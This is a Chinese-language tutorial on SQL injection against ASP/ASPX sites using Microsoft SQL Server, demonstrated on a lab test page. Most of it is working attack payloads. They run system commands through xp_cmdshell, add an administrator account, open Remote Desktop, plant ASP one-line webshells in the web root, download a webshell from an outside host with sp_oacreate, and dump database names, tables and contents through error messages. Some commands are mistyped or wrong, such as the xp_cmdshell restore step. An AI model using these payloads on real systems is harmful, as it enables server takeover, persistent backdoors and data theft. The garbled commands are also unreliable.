MsSQL数据库高级查询所带来的注入威胁
MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。
对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。
1. 注入点类型判断
首先,判断是否是MsSQL注入点,可提交如下查询.
and exists (select * from sysobjects)
页面返回正常,则说明为MsSQL注入点。 这个怎么分辨是access和mssql再access注入时就提到过
2. 注入点权限判断
检测一下当前用户的数据库操作权限,提交如下查询
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))
如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。
sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。
如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。
DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
myssql手工注入:https://blog.csdn.net/xabc3000/article/details/7615378
3. MsSQL返回信息判断
再提交如下查询。
and @@version>0
从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。
此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。
;declare @d int // 判断MsSQL支持多行语句查询
and (select count (1) from [sysobjects])>=0 //是否支持子查询
and user>O //获取当前数据库用户名
and db_name>0 //获取当前数据库名称
and l=convert (int,db_name ()) 或 1=(select db_name ()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(Select HAS_DBACCESS ('master')) //判断是否有库读取权限
4 利用MsSQL扩展存储注入攻击
扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的
Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。
4.1 检测与恢复扩展存储
提交如下查询进行检测。
and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
可查看xp_cmdshell扩展存储过程是否被删除。
and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')
可查看xp_regread扩展存储过程是否被删除。
如果扩展存储被删除,可执行如下查询进行恢复。
;exec sp_dropextendedproc 'xp_cmdshell'
上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。
;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。
;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
4.2 攻击中最常利用的扩展存储
在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。
xp_cmdshell—利用此存储过程可以直接执行系统命令。
xp_regread—利用此存储过程可以进行注册表读取。
xp_regwrit一利用此存储过程可以写入注册表。
xp_dirtre一利用此存储过程可以进行列目录操作。
xp_enumds—利用此存储过程可以进行ODBC连接。
xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
xp_makecab一一利用此存储过程可以创建压缩卷。
xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.
结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。
5.xp_cmdshell扩展执行任意命令
利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。
;exec master..xp_cmdshell 'dir c:\'
最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。
;exec master..xp_cmdshell 'net user test/add'
exec master..xp_cmdshell 'net locaigroup administrators test/add'
执行上面的查询,即可添加一个用户名和密码都为test的管理员账号。然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。
;exec master..xp_cmdshell 'sc config termservice start = auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v
fDenyTSConnections /t REG_DWORD /D 0X0 /F' //允许外部连接
;exec master..xp_cmdshell 'reg add "
HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/v PortNumber /t REG_DWORD' //改端口到80
事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。
6. xp_regwrite操作注册表与开启沙盒模式
在sa权限下可以调用xp_regwrite写入注册表,查询语句如下。
;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',
'black','REG_SZ','net user test test /add'
这里是写入注册表启动项,系统启动后就会执行“net user test westone”命令,从而在服务器上添加一个test账户。当服务器重新启动登录时,就会自动执行命令添加指定的账户。
还可以利用xp_regwrite来开启沙盒模式,从而执行系统命令。
首先开启沙盒模式,在注入点处提交如下查询。
execmaster..xp regwrite
'HKEY_LOCAL_MACHINE','SOFTNARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG DWORD',l
然后利用jet.oledb执行如下系统命令。
select * from
openrowset('microsoft.jet.oledb.4.O',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test test /add")')
注意,如果注入点的参数是integer数字型,就可指定“ias.mdb”数据库;如果是string
字符型,则可指定连接dnary.mdb.如果是Windows 2000系统,数据库的路径应该指定为:
"x:\winnt\system32\ias\ias.mdb"。
7. 利用sp_makewebtask写入一句话木马
sa权限可以通过sp_makewebtask,创建一项生成HTML文档的任务,该文档包含执行过的查询返回的数据。在入侵测试的过程中,可以利用sp_makewebtask扩展存储来将一句话木马写入到服务器磁盘中的Web目录下,从而获得对服务器的控制权限。
在写入一句话木马前,首先需要将一句话木马转换成URL格式。然后执行如下查询。
exec sp_makewebtask
'c:\inetpub\wwwroot\yjh.asp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--
8. 利用sp_oacreate存储远程下载文件
sa权限下还可以调用sp_oacreate存储过程来完成更多功能,例如远程下载文件到服务器上,从而间接获得一个WebShell.
这里可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下。
http://www.test.com/teat.txt
在注入点处提交如下查询。
DECLARE @B varbinary(8000),@hr int,
@http INT,@down INT EXEC sp_oacreate
(Microsoft.XMLHTTP],@http output EXEC
@hr = sp_oamethod @http,[Open],null,[GET],
[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_
OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down
output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC
[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -
即可下载文件“http://www.test.con/test.txt”的内容到
“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.
9. sp_addlogin扩展管理数据库用户
如果要添加和删除一个sa权限的数据库用户,可执行如下查询。
exec master.dbo.sp_addlogin test,password
exec masterdbo.sp_addsrvrolemember test,sysadmin
10. xp_servicecontrol管理服务
要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。
;exec master..xp_servicecontrol 'stop','schedule'
;exec master..xp_servicecontrol 'start','schedule'
;exec master..xp servicecontrol 'start','server'
此外,通过扩展存储,还可以进行差异备份写入WebShell,设置数据库允许远程连接等各种危险的操作。
11. dbowner权限下的扩展攻击利用
当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。
11.1 判断数据库用户权限
首先,需要判断当前数据库用户是否为db_owner权限。
在注入点后执行如下查询。
and 1=(SELECT IS_MEMBER('db_owner'));--
如果页面返回正常,说明的确是db_owner权限。
11.2 搜索Web目录
当Web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到Web目录了。但是在备份一句话木马前,首先需要搜索Web目录,可通过如下几个步骤实现。
首先,执行如下查询。
;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。
然后执行如下查询。
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。
再执行如下查询。
and (select dir from temp where id=1)>0
语句是查询临时表中的内容,也就是指定的目录文件和文件夹名。由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹来。
通过此方法,可以遍历所有盘符,从而找到Web目录路径。
11.3 获取数据库用户名
直接输入如下:
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O--
11.4 写入一句话木马
找到Web目录后,就可以写入一句话木马了。
在注入点后依次执行如下语句。
http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
执行完毕后,就会在指定的Web目录下生成一个名为“yjh.asp”的后门文件,用一句话木马客户端连接即可得到WebShell.
12. MsSQL 注入攻击案例
这里我就用暗影的aspx构造注射专用页面给大家讲解SA注入,首先我改一下暗影的aspx构造注射专用页面的代码,部分代码如下:
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
string sql = "select * from admin where id="+i ;
System.Data.SqlClient.SqlCommand
command=new System.Data.SqlClient.SqlCommand(sql, conn);
int x = command.ExecuteNonQuery();
Response.Write("最终执行SQL语句为: "+sql+"\n");
这样我每输入一条注入语句都会在WEB前端看到插入到数据查询的最终SQL语句,有关详细环境搭建大家参照视频课程,这里漏洞测试地址如下:
http://192.168.1.55/sqlserver/1.aspx?xxser=1
MsSQL注入点信息检测
首先,提交如下地址。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects)
返回正常信息,说明该注入点类型为MsSQL注入点(图18).如果返回错误那说明对象名不存在,上面(图18)就是对比,再提交如下链接.
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and system_user=0
其中的system_user是查询当前数据库系统的用户名,返回值是字符型,因此在与数字int整型数据进行对比时,会因为类型不匹配而造成数据库报错。从返回的错误信息中,可得知当前系统用户名
再爆一下当前用户名,在浏览器中提交以下链接
http://192.168.1.55/sqlserver/1.aspx?xxser=1and user=0
从返回的信息中可知,当前用户名为dbo。如果返回的是sa,那么可以直接判断出用户的权限,但是这里只有提交如下链接查询的权限
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
返回正常页面,因此可知此注入点为sa权限,可考虑采用扩展存储进行攻击。再来检测一下是否支持多行语句,提交如下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 %20;declare %20@d%20int
检测扩展存储
先来判断一下xp_cmdshell存储过程是否存在,在浏览器中提交如下链接
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=(select count(*)
frommaster.dbo.sysobjects where name ='xp_cmdshell')
返回正常页面,说明扩展存储存在。
利用扩展存储开启远程终端
假如数据库服务器已经开启远终端服务,允许用户远程管理计算机,可以直接用存储过程执行系统命令添加一个管理员账号,即可登录服务器。如果没有开启,可直接使用以下命令开启(注0改1就是关闭):
http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
首先,开始测试添加账户,在浏览器提交以下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell
'net user test test /add'
上面是利用xp_cmdshell扩展存储,添加一个用户名和密码均为test的用户。再将此用户提升为管理员,提交如下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
即可将test用户加入到管理员组。提交上面的链接时,有的网站页面会返回错误信息(图24),不用管它,实际上用户是添加成功了的。
查看命令执行结果
上面的方法虽然执行了命令,但是看不到执行回显结果。可以通过创建一个临时表,将命令执行结果插入到临时表里面,然后读取临时表里面的内容,就从可看到回显结果了。
在浏览器中依次提交如下链接,为了大家观看,在浏览器执行完命令之后,我们查看一下数据库看郊果
http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'net user'--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--
将第三条查询中的“where id=1”依次更换后面的id值,可查询获取命令执行结果。这里提交到如下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=16)>0--
返回了网络配置信息中的IP地址
如果知道Web路径的情况下: http://192.168.1.55/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'netstat%20-an%20>>c:\netstat.txt'-- 这样一下就看到了所有结果。
通过对比ping网站后得到的地址与注入点返回的IP地址信息,可知网站服务器与数据库服务器是同一主机。但是在使用远程桌面连接服务器时,连接超时无法成功,说明远程终端很可能被关闭了,或者更改了端口。
获取当前Web目录
虽然可以通过命令来开启远程终端,但是这比较麻烦,可以考虑执行sp_makewebtask写入一句话木马,再上传一个WebShell,利用WebShell更方便地执行各种命令操作。
将一句话木马写入到服务器磁盘,一般是写入Web目录,因此先要获得当前目录路径。再在浏览器中依次提交如下链接。
第一种方法:
http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--
第二种方法:
http://192.168.1.55/sqlserver/1.aspx?xxser=1; create table labeng(lala nvarchar(255) null, id int not null identity (1,1))--
http://192.168.1.55/sqlserver/1.aspx?xxser=1;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
http://192.168.1.55/sqlserver/1.aspx?xxser=1;and 1=(select top 1 lala from labeng)或者and 1=(select count(*) from labeng where lala>1)
发现并非真实的Web路径。看来只有用dir命令慢慢查找Web路径。在浏览器中提交如下链接。
第三种方法:
http://192.168.1.55/sqlserver/1.aspx?xxser=1;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir c:\ '--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--
依次增加id的值,最后在C盘wwwtest目录中发现了当前网站,提交以下链接
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=15)>0--
返回了一个名为“wwwtest”的目录。从目录名上来看,很可能是Web路径。再用上面的方法查看该目录下的文件,发现是Web目录。
写入一句话木马
先将一句话木马转换成URL格式,木马内容如下。
<%eval request("chopper")%>
转换成URL格式如下
然后在浏览器中提交如下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec sp_makewebtask 'c:\wwwtest\1.asp','select''%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%28%22%63%68%6f%70%70%65%72%22%29%25%3e'''--
如果报错,可以用exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE进行恢复,恢复还不行,换成前面的方法或者差异备份方法都可以http://192.168.0.102/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--
页面中返回execute执行错误信息,说明一句话木马写入成功。使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门
13. MsSQL注入猜解数据库技术
如果权限足够,利用MsSQL数据库的特性,是可以很轻易地入侵控制网站服务器的。但是很多时候注入点不一定能够执行存储过程,或者连接数据库的用户权限不够,那么就得像Access数据库那样猜解管理员表的字段、内容,进入后台想办法拿WebShell。
13.1 having与group by查询爆表名和字段名
在注入点地址后提交“having 1=1--",从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交以下代码。
group by 字段名 1 having 1-1--
从页面返回的错误信息中,即可得知第二个字段名。继续提交以下代码。
group by 字段名1,字段名2 having 1=1--
返回第三个字段名。继续提交以下代码。
group by 字段名1,字段名2,字段名3…字段名n having 1=1--
直到页面返回正常信息,即可得到所有的字段名。
13.2 参考案例:MsSQL爆表与字段名
1.爆表名及字段名
http://192.168.1.55/sqlserver/1.aspx?xxser=1 having 1=1--
继续猜解其他字段名,提交以下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1--
继续猜解当前表中的下一个字段名。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1--
用同样的方法,提交爆出其他的数据字段名,直到页面不再返回错误住处,你就可以提到所有的字段名。
14. order by与数据类型转换爆错法
如果MsSQL数据库打开了错误回显,那么可以通过MsSQL数据库的返回信息爆出所有数据库信息。此方法非常强大,可获得所有数据库名、任意表和字段的名称、内容。
14.1.爆所有数据库名
可直接在注入地址处提交如下查询语句。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--
从返回的出错信息中即可获得当前数据库名。要爆所有的数据库名,可以使用如下查询语句。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name(3)>0--
当数字n为1时,即可得到第一个数据库名,n为2时可得到第二个数据库名。通过增加n的值,可以遍历出所有的数据库名称。
另外,也可以在注入点后提交如下语句。
http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
14.2.爆当前库中的所有表与跨库爆表
在注入点后提交如下查询语句。
http://192.168.0.102/sqlserver/1.aspx?xxser=1%20and%20(select%20cast(count(1)%20as%20varchar(10))%2bchar(94)%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1)=1--
即可爆出当前数据库中全部表的数目。
http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%20(select%20top%201%20cast%20(name%20as%20varchar(256))%20from(select%20top%202%20id,name%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1%20order%20by%20id)t%20order%20by%20id%20desc)=1--
and(select top 1 cast (name as varchar(256)) from(select top 数字n id,name from [sysobjects] where xtype=char(85) and status! =0 order by id)t order by id desc)=0--
递增上面查询语句中的数字n,就可以遍历出当前数据库中的所有表名。
如果要爆出任意数据库中的表名,则可提交如下查询语句。
http://192.168.0.102/sqlserver/1.aspx?xxser=1 and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))--
递增上面查询语句中的数字n,就可以遍历出指定数据库中的所有表名。
14.3.爆所有字段名
获得表名后,就可以爆表中的字段名了。首先,提交如下查询语句。
and (select top 1 cast (id as nvarchar (20)) %2bchar(124) from [库名]..[sysobjects] where name='表名 ') =0--
可以爆出指定表的dbid值,根据表的dbid值才能定位到表中的字段。提交如下查询语句。
and(select cast(count(1) as varchar (10)) %2bchar (94) from[库名]..[syscolumns] where id=dbid 值)=0--
可以爆出得到字段列名数目,然后提交如下查询语句。
and (select top 1 cast(name as varchar(8000)) from (select top n colid,name from [库名]..[syacolumns] where id=dbid 值 order by colid) t order by colid desc)=0--
通过递增n的值,就可以得到所有字段名。
14.5.快速查询包含管理员账号的表名及字段名
对于MsSQL数据库,其中往往有许多数据内容,一个一个地爆字段太麻烦了,通常要快速找到包含管理员账号的表名和字段名,可以查询包含" user”或“pass”之类关键字的表名和字段名。选择关键字后,提交如下查询。
and (select top 1 t_name%2bchar(124)%2bc_name from (select top 20 object_name(id) as t_name, name as c_name from syscolumns where charindEx(cast(关键字十六进制 as varchar (2000)),name)>O and left (name, 1)!=0x40 order by t_name asc) as T order by t_name desc) >0--
从返回信息中,即可得到包含关键字的表名和字段名了。
14.6.爆字段内容
首先,要爆出列的总数目,提交如下语句。
and (select cast (count (1) as varchar (8000) ) %2bchar(94)from[库名]..[表名]where 1=1) >0--
即可从返回信息中查看到字段的记录数目。然后就可以开始爆指定字段的值了,提交如下语句。
and (select top 1 isnull
(cast([字段1 as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段 2 ] as nvarchar (4000)),char(32)) from [表名] where 1=1 order by [字段1])=O--
可得到第一个数据内容,再提交如下语句.
and (select top 1 isnull(cast([字段1] as nvarchar(4000)),char(32))%2bchar(94)%
2bisnull (cast ([字段2] as nvarchar(4000)),char(32)) from [表名] where 1=1 and name not in (select top n name from [表名]) where 1=1 order by [字段1]))=0--
通过递增n的值,就可以得到其他字段记录内容了。